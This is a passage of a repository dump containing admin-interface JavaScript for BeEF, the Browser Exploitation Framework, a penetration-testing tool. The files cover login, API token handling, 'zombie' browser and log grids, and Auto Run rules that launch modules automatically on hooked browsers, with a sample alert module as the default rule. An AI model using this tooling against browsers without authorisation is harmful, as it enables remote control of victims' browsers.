'password'\n\t\t},\n\t\tdefaultType: 'textfield',\n      \t\n\t\titems: [{\n        \t\tfieldLabel: 'Username',\n        \t\tname: 'username-cfrm',\n\t\t\tinputType: 'textfield',\n        \t\tid: 'user',\n\t\t\tlisteners: {\n\t\t\t\tspecialkey: function(field,e) {\n\t\t\t\t\tif (e.getKey() == e.ENTER) {\n\t\t\t\t\t\tsubmitAuthForm();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n      \t\t},{\n        \t\tfieldLabel: 'Password',\n        \t\tname: 'password-cfrm',\n        \t\tinputType: 'password',\n        \t\tid: 'pass',\n\t\t\tlisteners: {\n\t\t\t\tspecialkey: function(field,e) {\n\t\t\t\t\tif (e.getKey() == e.ENTER) {\n\t\t\t\t\t\tsubmitAuthForm();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n      \t\t}],\n\t\t\n\t\tbuttons: [{\n\t\t\ttext: 'Login',\n\t\t\tid: 'loginButton',\n\t\t\thandler: function() {\n\t\t\t\tsubmitAuthForm();\n\t\t\t}\n\t\t}]\n\t});\n\n\tvar login_mask = new Ext.LoadMask(Ext.getBody(), {msg:\"Authenticating to BeEF...\"});\n\tlogin_form.render('centered');\n\tExt.DomHelper.append('login_form', {tag: 'div', id: 'loadingError'});\n\tdocument.getElementById('user').focus();\n\n});\n"
  },
  {
    "path": "extensions/admin_ui/media/javascript/ui/common/beef_common.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/*!\n * BeEF Web UI commons\n */\n\nif(typeof beefwui === 'undefined' && typeof window.beefwui === 'undefined') {\n\n    var BeefWUI = {\n\n        rest_token: \"\",\n        hooked_browsers: {},\n\n        /**\n         * Retrieve the token needed to call the RESTful API.\n         * This is obviously a post-auth call.\n         */\n        get_rest_token: function() {\n            if(this.rest_token.length == 0){\n                var url = \"<%= @base_path %>/modules/getRestfulApiToken.json\";\n                jQuery.ajax({\n                    contentType: 'application/json',\n                    dataType: 'json',\n                    type: 'GET',\n                    url: url,\n                    async: false,\n                    processData: false,\n                    success: function(data){\n                        beefwui.rest_token = data.token;\n                    },\n                    error: function(){\n                        beefwui.rest_token = \"\";\n                    }\n                });\n            }\n            return this.rest_token;\n        },\n\n        /**\n\t     * Get hooked browser ID from session\n         */\n        get_hb_id: function(sess){\n\t    \tvar id = \"\";\n\t    \tjQuery.ajax({\n\t    \t\ttype: 'GET',\n\t    \t\turl: \"/api/hooks/?token=\" + this.get_rest_token(),\n\t    \t\tasync: false,\n\t    \t\tprocessData: false,\n\t    \t\tsuccess: function(data){                            \n                    for (var k in data['hooked-browsers']['online']) {\n                        if (data['hooked-browsers']['online'][k].session === sess) {\n                            id = data['hooked-browsers']['online'][k].id;\n                        }\n                    }\n\n                    if (id === \"\") {\n                      for (var k in data['hooked-browsers']['offline']) {\n                          if (data['hooked-browsers']['offline'][k].session === sess) {\n                              id = data['hooked-browsers']['offline'][k].id;\n                          }\n                      }\n                    }\n\t    \t\t},\n\t    \t\terror: function(){                                  \n\t    \t\t\tcommands_statusbar.update_fail(\"Error getting hb id\");\n\t    \t\t}\n\t    \t});                                                     \n            return id;\n\t    },\n\n      /**\n       * Get hooked browser info from ID\n       */\n      get_info_from_id: function(id) {\n\t    \tvar info = {};\n\t    \tjQuery.ajax({\n\t    \t\ttype: 'GET',\n\t    \t\turl: \"/api/hooks/?token=\" + this.get_rest_token(),\n\t    \t\tasync: false,\n\t    \t\tprocessData: false,\n\t    \t\tsuccess: function(data){                            \n                    for (var k in data['hooked-browsers']['online']) {\n                        if (data['hooked-browsers']['online'][k].id === id) {\n                            info = data['hooked-browsers']['online'][k];\n                        }\n                    }\n\n                    if (jQuery.isEmptyObject(info)) {\n                      for (var k in data['hooked-browsers']['offline']) {\n                          if (data['hooked-browsers']['offline'][k].id === id) {\n                              info = data['hooked-browsers']['offline'][k];\n                          }\n                      }\n                    }\n\t    \t\t},\n\t    \t\terror: function(){                                  \n\t    \t\t\tcommands_statusbar.update_fail(\"Error getting hb ip\");\n\t    \t\t}\n\t    \t});                                                     \n            console.log(info);\n            return info;\n      }\n    };\n\n    window.beefwui = BeefWUI;\n}\n"
  },
  {
    "path": "extensions/admin_ui/media/javascript/ui/panel/AutoRunModuleForm.js",
    "content": "\nloadModuleInfo = async function(token, moduleId, moduleName) {\n    try {\n        // If all we have is the name then we need to get the ID first.\n        if (moduleId === undefined) {\n            const searchResponse = await fetch(`/api/modules/search/${moduleName}?token=${token}`);\n            if (!searchResponse.ok) {\n                throw new Error(`Getting auto run rules failed with status ${searchResponse.status}`);\n            }\n            const searchData = await searchResponse.json();\n            if (typeof searchData.id === 'number') {\n                moduleId = searchData.id;\n            } else {\n                throw new Error(\"Searching module name failed.\");\n            }\n        }\n\n        const infoResponse = await fetch(`/api/modules/${moduleId}?token=${token}`);\n        const infoData = await infoResponse.json();\n        if (!infoData) {\n            throw new Error(`Module with name ${moduleName} and ID ${moduleId} couldn't be retrived.`);\n        }\n        // Set the module Id incase we need it later.\n        infoData.id = moduleId;\n        return infoData;\n\n    } catch(error) {\n        console.error(error);\n        console.error(\"Failed to get module information.\");\n        return null;\n    }\n}\n\n\n/**\n * Form that displays fields for a module.\n * \n * moduleData: The object definition of this moduleData from the Auto Run Engine.\n * deleteFn: callback function to delete this moduleData.\n * moveUp: moves the module up one spot in the Auto Run execution order.\n * moveDown: moves the module down one spot in the Auto Run exection order.\n */\nAutoRunModuleForm = function(moduleData, deleteFn, moveUp, moveDown, ruleId, index, moduleList) {\n    const moduleTextAreaId = `rule-${ruleId}-module-textarea-${index}`;\n    const chainModeComboId = `rule-${ruleId}-module-combo-${index}`;\n    const token = BeefWUI.get_rest_token();\n\n    const comboStore = new Ext.data.Store({\n        data: moduleList,\n        reader: new Ext.data.JsonReader({\n            fields: ['id', 'name'],\n        }),\n        proxy: new Ext.data.MemoryProxy(moduleList)\n    });\n\n    const moduleSelect = new Ext.form.ComboBox({\n        fieldLabel: 'Change Module',\n        store: comboStore,\n        queryMode: 'local',\n        displayField: 'name',\n        valueField: 'id',\n        editable: false,  // Disable manual editing of the field\n        forceSelection: true,  // Force selection from the list\n        triggerAction: 'all',\n        typeAhead: true,\n        listeners: {\n            select: async function(combo) {\n                const selectedModuleId = combo.getValue()\n                const moduleInfo = await loadModuleInfo(token, selectedModuleId, undefined);\n                if (!moduleInfo) {\n                    console.error(\"Failed to load new module.\");\n                    return;\n                }\n                // Update the module data to reflect the new module.\n                moduleData.name = moduleInfo.name;\n                moduleData.condition = moduleInfo.condition ? moduleInfo.condition : null;\n                moduleData.options = {};\n                for (let i = 0; i < moduleInfo.options.length; i++) {\n                    const newOption = moduleInfo.options[i];\n                    moduleData.options[newOption.name] = newOption.value ? newOption.value : '';\n                }\n                loadModule(moduleInfo);\n            }\n        }\n    });\n\n    const moduleOptionsContainer = new Ext.Panel({\n        title: `Module ${index + 1}`,\n        tbar: [moduleSelect],\n        layout: 'form',\n        border: false,\n        listeners: {\n            afterrender: function() {loadModule(undefined)}\n        }\n    });\n\n    async function loadModule(moduleInfo) {\n        if (!moduleInfo)\n            moduleInfo = await loadModuleInfo(token, undefined, moduleData.name);\n        if (!moduleInfo) {\n           moduleOptionsContainer.update(\"<p>Failed to load module information.</p>\"); \n           return;\n        }\n\n        // Update the combobox default value to be this module.\n        // Can't use the moduleData name since it doesn't match the ID.\n        moduleSelect.setValue(moduleInfo.id);\n\n        // Setup module form elements. Remove all incase we're switching from a different module.\n        moduleOptionsContainer.removeAll();\n        moduleOptionsContainer.add(new Ext.form.DisplayField({\n            fieldLabel: 'Module Name',\n            value: moduleInfo.name\n        }))\n        moduleOptionsContainer.add(new Ext.form.DisplayField({\n            fieldLabel: 'Module Author',\n            value: moduleInfo.author ? moduleInfo.author : 'anonymous'\n        }))\n\n        for (let i = 0; i < moduleInfo.options.length; i++) {\n\t\t\tconst inputField = generate_form_input_field(\n                moduleOptionsContainer,\n                moduleInfo.options[i],\n                moduleData.options[moduleInfo.options[i].name],\n                false,\n                {session: `${moduleInfo.name}-module-${index}-field-${i}`}\n            );\n            // Ensure any changes to the element are reflected in the newRule object.\n            // When the user saves the rule the whole newRule object will be saved,\n            //      including any changes made to these input fields.\n            inputField.on('change', function(_inputF, newValue, oldValue) {\n                moduleData.options[moduleInfo.options[i].name] = newValue;\n            });\n\n        };\n        moduleOptionsContainer.doLayout();\n    }\n\n    const buttonContainer = new Ext.Container({\n        layout: {\n            type: 'hbox',\n            pack: 'end',\n        },\n        items: [\n            {\n                xtype: 'button',\n                text: 'Delete',\n                handler: deleteFn,\n            },{\n                xtype: 'button',\n                text: 'Move Forward',\n                handler: moveUp,\n                disabled: moveUp == undefined,\n            },{\n                xtype: 'button',\n                text: 'Move Back',\n                handler: moveDown,\n                disabled: moveDown == undefined,\n            }\n        ]\n    });\n\n\n    AutoRunModuleForm.superclass.constructor.call(this, {\n            items: [\n                moduleOptionsContainer,\n                buttonContainer\n        ]\n    });\n};\n\nExt.extend(AutoRunModuleForm, Ext.Container, {}); "
  },
  {
    "path": "extensions/admin_ui/media/javascript/ui/panel/AutoRunRuleForm.js",
    "content": "const areNotificationUpdateTest = {\n    \"name\": \"Display an alert-----\",\n    \"author\": \"mgeeky\",\n    \"modules\": [\n        {\n            \"name\": \"alert_dialog\",\n            \"condition\": null,\n            \"options\": {\n                \"text\":\"You've been BeEFed ;>\"\n            }\n        }\n    ],\n    \"execution_order\": [0],\n    \"execution_delay\": [0],\n    \"chain_mode\": \"nested-forward\"\n};\n/**\n * Form for the user to read, update and delete a specific Auto Run rule.\n * \n * rule: The object definition of this rule from the Auto Run Engine.\n * modules: The list of all commands/modules that the user can choose from.\n * deleteFn: callback function to delete this rule.\n * updateFn: callback function to update this rule.\n */\nAutoRunRuleForm = function(rule, modules, deleteFn, updateFn) {\n    const self = this;\n    const ruleTextFieldId = `rule-name-${rule.id}`;\n    const chainModeComboId = `rule-chain-mode-${rule.id}`;\n    const newRule = JSON.parse(JSON.stringify(rule));\n    newRule.modules = JSON.parse(newRule['modules']);\n    newRule.execution_delay = JSON.parse(newRule['execution_delay']);\n    newRule.execution_order = JSON.parse(newRule['execution_order']);\n    const moduleContainer = new Ext.Container({\n        style: {\n            padding: '10 10 10 10',\n        },\n        listeners: {\n            afterrender: setupModuleForms \n        }\n    });\n\n    function reorderModule(index, direction) {\n        // Rearrange modules into new order.\n        const currentModule = newRule.modules[index];\n        const newIndex = direction === 'back' ? index + 1 : index - 1;\n        newRule.modules.splice(index, 1);\n        newRule.modules.splice(newIndex, 0, currentModule);\n\n        // Update DOM.\n        setupModuleForms();\n        moduleContainer.doLayout();\n    }\n\n    function removeModule(index) {\n        // Remove element from execution_order and execution_delay arrays.\n        newRule.modules.splice(index, 1);\n        newRule.execution_delay.splice(index, 1);\n\n        // Update DOM.\n        setupModuleForms();\n        moduleContainer.doLayout();\n    }\n\n    function addModule() {\n        // New module is a copy of the last module.\n        newRule.modules.push(newRule.modules[newRule.modules.length - 1]);\n        newRule.execution_delay.push(newRule.execution_delay[newRule.execution_delay.length - 1]);\n\n        // Update DOM.\n        setupModuleForms();\n        moduleContainer.doLayout();\n    }\n\n    function setupModuleForms() {\n\n        moduleContainer.removeAll(true);\n\n        // I think execution order should always be sequential.\n        // The actual order comes from the modules array.\n        for (let i = 0; i < newRule.modules.length; ++i) {\n            const isFirstModule = i === 0;\n            const isLastModule = i >= newRule.modules.length - 1;\n            moduleContainer.add(new AutoRunModuleForm(\n                newRule.modules[i],\n                function() {removeModule(i)},\n                isFirstModule ? undefined : function() {reorderModule(i, 'forward')},\n                isLastModule ? undefined : function() {reorderModule(i, 'back')},\n                rule.id,\n                i,\n                modules\n            ));\n        }\n    }\n\n    function handleUpdateRule() {\n        // TODO: Need to overwrite module order.\n        const form = self.getForm();\n        const formValues = form.getValues();\n        const updatedRule = {\n            ...newRule,\n            name: formValues[ruleTextFieldId],\n            chain_mode: formValues[chainModeComboId],\n            execution_order: [...Array(newRule.modules.length).keys()],\n        };\n        updateFn(updatedRule);\n    }\n\n\n    AutoRunRuleForm.superclass.constructor.call(this, {\n            padding:'10 10 10 10',\n            title: `Rule ${rule.id}`,\n            items: [{\n                xtype: 'textfield',\n                id: ruleTextFieldId,\n                value: rule.name ? rule.name : '',\n                fieldLabel: 'Name',\n            },\n            {\n                xtype: 'displayfield',\n                fieldLabel: 'Author',\n                value: rule.author ? rule.author : 'anonymous',\n            },{\n                xtype: 'displayfield',\n                fieldLabel: 'Browser(s)',\n                value: rule.browser ? rule.browser : 'All',\n            },{\n                xtype: 'displayfield',\n                fieldLabel: 'Browser version(s)',\n                value: rule.browser_version ? rule.browser_version : 'All',\n            },{\n                xtype: 'displayfield',\n                fieldLabel: 'OS(s)',\n                value: rule.os ? rule.os : 'All',\n            },{\n                xtype: 'displayfield',\n                fieldLabel: 'OS version(s)',\n                value: rule.os_version ? rule.os_version : 'All',\n            },\n                moduleContainer,\n            {\n                xtype: 'button',\n                text: 'Add Module',\n                handler: addModule\n            },\n            {\n                xtype: 'combo',\n                id: chainModeComboId,\n                fieldLabel: 'Chain Mode',\n                store: ['sequential', 'nested-forward'],\n                queryMode: 'local', // Use local data.\n                triggerAction: 'all', // Show both options instead of just the default.\n                editable: false, // Disable manual text input.\n                forceSelection: true,\n                value: rule.chain_mode ? rule.chain_mode : 'sequential'\n            },{\n                xtype: 'displayfield',\n                fieldLabel: 'Execution Order',\n                value: newRule.execution_order ?\n                    JSON.stringify(newRule.execution_order)\n                    : 'undefined',\n            },{\n                xtype: 'displayfield',\n                fieldLabel: 'Execution Delay',\n                value: newRule.execution_delay ?\n                    JSON.stringify(newRule.execution_delay)\n                    : 'undefined',\n            }\n        ],\n            buttons: [{\n                text: 'Delete',\n                handler: deleteFn\n            }, {\n                text: 'Save',\n                handler: handleUpdateRule\n            }],\n            border: false,\n            closable: false\n        });\n};\n\nExt.extend(AutoRunRuleForm, Ext.FormPanel, {}); "
  },
  {
    "path": "extensions/admin_ui/media/javascript/ui/panel/AutoRunTab.js",
    "content": "const defaultRule = {\n    \"name\": \"Display an alert\",\n    \"author\": \"mgeeky\",\n    \"modules\": [\n        {\n            \"name\": \"alert_dialog\",\n            \"condition\": null,\n            \"options\": {\n                \"text\":\"You've been BeEFed ;>\"\n            }\n        }\n    ],\n    \"execution_order\": [0],\n    \"execution_delay\": [0],\n    \"chain_mode\": \"nested-forward\"\n};\n        \n\n\n/**\n * Asynchronously returns the currently active rules in an array.\n * Empty array means no rules are active.\n * null if there was an error.\n */\ngetCurrentRules = async function(token) {\n\n    try {\n        var res = await fetch(`/api/autorun/rules?token=${token}`);\n        if (!res.ok) {\n            throw new Error(`Getting auto run rules failed with status ${res.status}`);\n        }\n        const data = await res.json();\n        const rules = JSON.parse(data.rules);\n\n        if (data.success === true && Array.isArray(rules)) {\n            return rules;\n        }\n\n        console.log(\"No active auto run rules.\");\n        return [];\n\n    } catch(error) {\n        console.error(error);\n        console.error(\"Failed to get auto run rules.\");\n        return null;\n    }\n} \n\ngetModules = async function(token) {\n    try {\n        var res = await fetch(`/api/modules?token=${token}`);\n        if (!res.ok) {\n            throw new Error(`Getting auto run rules failed with status ${res.status}`);\n        }\n        const modules = await res.json();\n\n        return modules;\n\n    } catch(error) {\n        console.error(error);\n        console.error(\"Failed to get auto run rules.\");\n        return null;\n    }\n}\n\nAutoRunTab = function() {\n    // RESTful API token.\n    var token = BeefWUI.get_rest_token();\n\n    // Heading container to describe general Auto Run state.\n    var ruleLoadingState = new Ext.Container({\n        html: \"<p>Loading Auto Run rules...</p>\",\n    })\n    var headingContainer = new Ext.Panel({\n        style: {\n            font: '11px tahoma,arial,helvetica,sans-serif'\n        },\n        padding:'10 10 10 10',\n        border: false,\n        items: [{\n            xtype: 'container',\n            html: '\\\n                <div>\\\n                    <h4>Auto Run Rules</h4>\\\n                    <p>These determine what commands run automatically when a browser is hooked.</p>\\\n                </div>'\n        },\n            ruleLoadingState,\n        {\n            xtype: 'button',\n            text: 'Add New Rule',\n            handler: addRule\n        }],\n        listeners: {\n            afterrender: loadRules\n        }\n    });\n    // Contains all of the rules and inputs to change each rule.\n    var ruleContainer = new Ext.Panel({\n        border: false,\n        listeners: {\n            afterrender: loadRules\n        }\n    });\n\n    async function deleteRule(id) {\n        const res = await fetch(`/api/autorun/rule/${id}?token=${token}`, {method: 'DELETE'});\n        if (!res.ok) {\n            console.error(`Failed when deleting rule with id ${id}. Failed with status ${res.status}.`);\n            return;\n        }\n        // Update the entire rules panel. Not very efficient.\n        loadRules();\n    }\n\n    async function addRule() {\n        const res = await fetch(`/api/autorun/rule/add?token=${token}`, {\n            method: 'POST',\n            headers: {'Content-Type': 'application/json'},\n            body: JSON.stringify(defaultRule)\n        });\n        if (!res.ok) {\n            console.error(`Failed when adding a new rule with status ${res.status}.`);\n            return;\n        }\n        // Update the entire rules panel. Not very efficient.\n        loadRules();\n    }\n\n    async function updateRule(id, newRuleData) {\n        const res = await fetch(`/api/autorun/rule/${id}?token=${token}`, {\n            method: 'PATCH',\n            headers: {'Content-Type': 'application/json'},\n            body: JSON.stringify(newRuleData)\n        });\n        if (!res.ok) {\n            console.error(`Failed when adding a new rule with status ${res.status}.`);\n            return;\n        }\n        // Update the entire rules panel. Not very efficient.\n        loadRules();\n    }\n\n    async function loadRules() {\n        let modules = [];\n        let rules = [];\n        try {\n            modules = await getModules(token);\n            rules = await getCurrentRules(token);\n        } catch (error) {\n            console.error(error);\n            console.error(\"Failed to load command modules and/or rules for Auto Run.\");\n            ruleLoadingState.update(\"<p>Failed to load Auto Run rules.</p>\");\n            return;\n        }\n\n        if (rules !== null) {\n            ruleLoadingState.update(`<p>Loaded ${rules.length} Auto Run rules.</p>`);\n            ruleContainer.removeAll();\n            \n            for (let i = 0; i < rules.length; i++) {\n                ruleForm = new AutoRunRuleForm(\n                    rules[i],\n                    modules,\n                    function() {deleteRule(rules[i].id)},\n                    function(newRuleData) {updateRule(rules[i].id, newRuleData)}\n                );\n                ruleContainer.add(ruleForm);\n            }\n            ruleContainer.doLayout();\n        } else {\n            ruleLoadingState.update(\"<p>Failed to load Auto Run rules.</p>\");\n        }\n    } \n\n    AutoRunTab.superclass.constructor.call(this, {\n            region: 'center',\n            items: [headingContainer, ruleContainer],\n            autoScroll: true,\n            border: false,\n            closable: false\n        });\n};\n\nExt.extend(AutoRunTab, Ext.Panel, {}); "
  },
  {
    "path": "extensions/admin_ui/media/javascript/ui/panel/BrowserDetailsDataGrid.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n\nBrowserDetailsDataGrid = function(url, page, base) {\n  this.page = page;\n  this.url = url;\n  this.base = typeof(base) != 'undefined' ? base : {};\n\n  // RESTful API token\n  var token = BeefWUI.get_rest_token();\n\n  this.store = new Ext.ux.data.PagingJsonStore({\n    root: 'details',\n    autoDestroy: true,\n    autoLoad: true,\n    proxy: new Ext.data.HttpProxy({\n      method: 'GET',\n      url: url + '?token=' + token\n    }),\n    storeId: 'details-store',\n    baseParams: this.base,\n    idProperty: 'id',\n    fields: ['key','value', 'source'],\n    totalProperty: 'count',\n    remoteSort: false,\n    sortInfo: {field: \"key\", direction: \"ASC\"}\n  });\n\n  this.bbar = new Ext.PagingToolbar({\n    pageSize: this.page,\n    store: this.store,\n    displayInfo: true,\n    displayMsg: 'Displaying zombie browser details {0} - {1} of {2}',\n    emptyMsg: 'No zombie browser data to display'\n  });\n\n  this.columns = [{\n\t\tid: 'details-key',\n\t\theader: 'Key',\n\t\tdataIndex: 'key',\n\t\tsortable: true,\n\t\twidth: 40,\n \t\trenderer: function(value) {\n\t\t  return $jEncoder.encoder.encodeForHTML(value);\n\t\t}\n  }, {\n\t\tid: 'details-value',\n\t\theader: \"Value\",\n\t\tdataIndex: 'value',\n\t\tsortable: true,\n\t\twidth: 60,\n\t\trenderer: function(value) {\n\t\t  return $jEncoder.encoder.encodeForHTML(value);\n\t\t}\n  },\n\n  ];\n\n  BrowserDetailsDataGrid.superclass.constructor.call(this, {\n    region: 'center',\n    id: 'topic-grid',\n    loadMask: {msg:'Loading Feed...'},\n\n    sm: new Ext.grid.RowSelectionModel({\n      singleSelect: true\n    }),\n\n    viewConfig: {\n      forceFit: true\n    },\n    listeners: {\n      afterrender: function(datagrid) {\n        datagrid.store.reload({params:{start:0, limit:datagrid.page, sort:\"key\", dir:\"ASC\"}});\n      },\n\n      rowclick: function(grid, rowIndex) {\n        var r = grid.getStore().getAt(rowIndex).data;\n      },\n      containercontextmenu: function(view, e) {\n        e.preventDefault();\n      },\n    }\n  })  // BrowserDetailsDataGrid.superclass\n}\n\nExt.extend(BrowserDetailsDataGrid, Ext.grid.GridPanel, {});\n\nExt.override(Ext.PagingToolbar, {\n\tdoRefresh: function() {\n\t\tdelete this.store.lastParams;\n\t\tthis.doLoad(this.cursor);\n\t}\n});\n"
  },
  {
    "path": "extensions/admin_ui/media/javascript/ui/panel/HooksTab.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nHooksTab = function() {\n\n\t/*\n\t * The panel used to configure the hook.\n\t ********************************************/\n\tvar hooks_panel = new Ext.FormPanel({\n\t\ttitle: 'Hooks',\n\t\tid: 'hooks-panel',\n\t\thideLabels : false,\n\t\tborder: false,\n\t\tpadding: '3px 5px 0 5px',\n\n\t\titems:[{\n\t\t\tfieldLabel: 'Text',\n\t\t\txtype: 'textarea',\n\t\t\tid: 'inputText',\n\t\t\tname: 'inputText',\n\t\t\twidth: '100%',\n\t\t\theight: '40%',\n\t\t\tallowBlank: true\n\t\t},{\n\t\t\tfieldLabel: 'Result',\n\t\t\txtype: 'textarea',\n\t\t\tid: 'resultText',\n\t\t\tname: 'resultText',\n\t\t\twidth: '100%',\n\t\t\theight: '40%',\n\t\t\tallowBlank: true\n\t\t}],\n\n\t\tbuttons: [{\n\t\t\ttext: 'Add Hook',\n\t\t\thandler: function() {\n\t\t\t\tvar form = Ext.getCmp('hooks-panel').getForm();\n\t\t\t\tvar form_values = form.getValues();\n\t\t\t\tvar input_text = form_values['inputText'];\n\t\t\t\tvar result=\"\";\n\t\t\t\tform.setValues({resultText: result});\n\t\t\t}\n\t\t},{\n\t\t\ttext: 'Delete Hook',\n\t\t\thandler: function() {\n\t\t\t\tvar form = Ext.getCmp('hooks-panel').getForm();\n\t\t\t\tvar form_values = form.getValues();\n\t\t\t\tvar input_text = form_values['inputText'];\n\t\t\t\tvar result=\"\";\n\t\t\t\tform.setValues({resultText: result});\n\t\t\t}\n\t\t}]\n\n\t});\n\n\tHooksTab.superclass.constructor.call(this, {\n\t\tregion: 'center',\n\t\titems: [hooks_panel],\n\t\tautoScroll: true,\n\t\tborder: false\n\t});\n\n};\n\nExt.extend(HooksTab,Ext.Panel, {}); \n"
  },
  {
    "path": "extensions/admin_ui/media/javascript/ui/panel/Logout.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nDoLogout = function() {\n\t\n\tvar button = Ext.get('do-logout-menu');\n\t\n\tafter_logout = function() {\n\t\t// will redirect the UA to the login\n\t\twindow.location.href = '<%= @base_path %>/panel'\n\t}\n\t\n\tbutton.on('click', function(){\n\t\tExt.Ajax.request({\n\t\t\turl: '<%= @base_path %>/authentication/logout',\n\t\t\tmethod: 'POST',\n\t\t    params: 'nonce=' + Ext.get(\"nonce\").dom.value,\n\t\t\tsuccess: after_logout,\n\t\t\tfailure: after_logout\n\t\t});\n\t\t\n\t})\n};"
  },
  {
    "path": "extensions/admin_ui/media/javascript/ui/panel/LogsDataGrid.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n\nLogsDataGrid = function(url, page, base) {\n    this.page = page;\n    this.url = url;\n    this.base = typeof(base) != 'undefined' ? base : {};\n\n    // RESTful API token\n    var token = BeefWUI.get_rest_token();\n\n    this.store = new Ext.ux.data.PagingJsonStore({\n        root: 'logs',\n        autoDestroy: true,\n\tautoLoad: false,\n    proxy: new Ext.data.HttpProxy({\n      method: 'GET',\n      url: url + '?token=' + token\n    }),\n\n        storeId: 'myStore',\n        baseParams: this.base,\n        idProperty: 'id',\n        fields: ['id','type','event','date','hooked_browser_id'],\n        totalProperty: 'count',\n        remoteSort: false,\n        sortInfo: {field: \"id\", direction: \"DESC\"}\n    });\n\n    this.bbar = new Ext.PagingToolbar({\n        pageSize: this.page,\n\tstore: this.store,\n        displayInfo: true,\n        displayMsg: 'Displaying logs {0} - {1} of {2}',\n        emptyMsg: 'No logs to display'\n    });\n\t\n    this.columns = [{\n\t\t\tid: 'log-id',\n\t\t\theader: 'Id',\n\t\t\thidden: false,\n\t\t\tdataIndex: 'id',\n\t\t\tsortable: true,\n\t\t\twidth: 20\n\t\t}, {\n\t\t\tid: 'log-type',\n\t\t\theader: \"Type\",\n\t\t\tdataIndex: 'type',\n\t\t\tsortable: true,\n\t\t\twidth: 60,\n\t\t\trenderer: function(value) {\n\t\t\t\treturn \"<b>\" + $jEncoder.encoder.encodeForHTML(value) + \"</b>\";\n\t\t\t}\n\t\t}, {\n\t\t\tid: 'log-event',\n\t\t\theader: \"Event\",\n\t\t\tdataIndex: 'event',\n\t\t\tsortable:true,\n\t\t\twidth: 420,\n\t\t\trenderer: function(value){\n                return $jEncoder.encoder.encodeForHTML(value);\n            }\n\t\t}, {\n\t\t\tid: 'log-date',\n\t\t\theader: \"Date\",\n\t\t\tdataIndex: 'date',\n\t\t\twidth: 80,\n\t\t\trenderer:  $jEncoder.encoder.encodeForHTML(this.formatDate),\n\t\t\tsortable:true\n\t\t}, {\n\t\t\tid: 'log-browser',\n\t\t\theader: \"Browser ID\",\n\t\t\tdataIndex: 'hooked_browser_id',\n\t\t\tsortable: true,\n\t\t\twidth: 35\n    }];\n\n    LogsDataGrid.superclass.constructor.call(this, {\n        region: 'center',\n        id: 'topic-grid',\n        loadMask: {msg:'Loading Feed...'},\n\n        sm: new Ext.grid.RowSelectionModel({\n            singleSelect:true\n        }),\n\n        viewConfig: {\n            forceFit:true\n        },\n\t\t\n\t\tlisteners: {\n\t\t\tafterrender: function(datagrid) {\n\t\t\t\tdatagrid.store.reload({params:{start:0, limit:datagrid.page, sort:\"id\", dir:\"DESC\"}});\n\t\t\t}\n\t\t}\n    });\n};\n\nExt.extend(LogsDataGrid, Ext.grid.GridPanel, {});\n\n//Because we're using paging stores now, we have to override the PagingToolbar refresh\nExt.override(Ext.PagingToolbar, {\n\tdoRefresh: function() {\n\t\tdelete this.store.lastParams;\n\t\tthis.doLoad(this.cursor);\n\t}\n});\n"
  },
  {
    "path": "extensions/admin_ui/media/javascript/ui/panel/MainPanel.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nMainPanel = function(){\n    this.preview = new Ext.Panel({\n        id: 'preview',\n        region: 'south',\n        cls:'preview',\n        autoScroll: true,\n        listeners: PanelViewer.LinkInterceptor,\n\n        tbar: [{\n            id:'tab',\n            text: 'View in New Tab',\n            iconCls: 'new-tab',\n            disabled:true,\n            handler : this.openTab,\n            scope: this\n        }],\n\n        clear: function(){\n            this.body.update('');\n            var items = this.topToolbar.items;\n            items.get('tab').disable();\n            items.get('win').disable();\n        }\n    });\n\n    \n    this.logs_grid = new LogsDataGrid('/api/logs',30);\n    this.logs_grid.border = false;\n\n    this.zombies_grid = new ZombieDataGrid('/api/hooks/all', 30);\n    this.zombies_grid.border = false;\n\n    this.welcome_tab = new WelcomeTab;\n\n    this.auto_run_tab = new AutoRunTab;\n\n    MainPanel.superclass.constructor.call(this, {\n        id:'main-tabs',\n        activeTab:0,\n        region:'center',\n        margins:'0 5 5 0',\n        resizeTabs:true,\n        tabWidth:150,\n        minTabWidth: 120,\n        enableTabScroll: true,\n        plugins: new Ext.ux.TabCloseMenu(),\n        items: [{\n            id:'welcome-view',\n            title:'Getting Started',\n            layout:'border',\n            hideMode:'offsets',\n            closable:true,\n            plain:true,\n            shadow:true,\n            items:[\n                this.welcome_tab\n            ]\n        },{\n            id:'logs-view',\n            layout:'border',\n            title:'Logs',\n            hideMode:'offsets',\n            items:[\n                this.logs_grid\n            ]\n        },\n        {\n            id:'zombies-view',\n            layout:'border',\n            title:'Zombies',\n            hideMode:'offsets',\n            items:[\n                this.zombies_grid\n            ]\n        },\n        {\n            id:'autorun-view',\n            title:'Auto Run',\n            layout:'border',\n            hideMode:'offsets',\n            items:[\n                this.auto_run_tab\n            ]\n        }]\n    });\n\t\n};\n\nExt.extend(MainPanel, Ext.TabPanel);\n\n\nExt.reg('appmainpanel', MainPanel);\n"
  },
  {
    "path": "extensions/admin_ui/media/javascript/ui/panel/ModuleSearching.js",
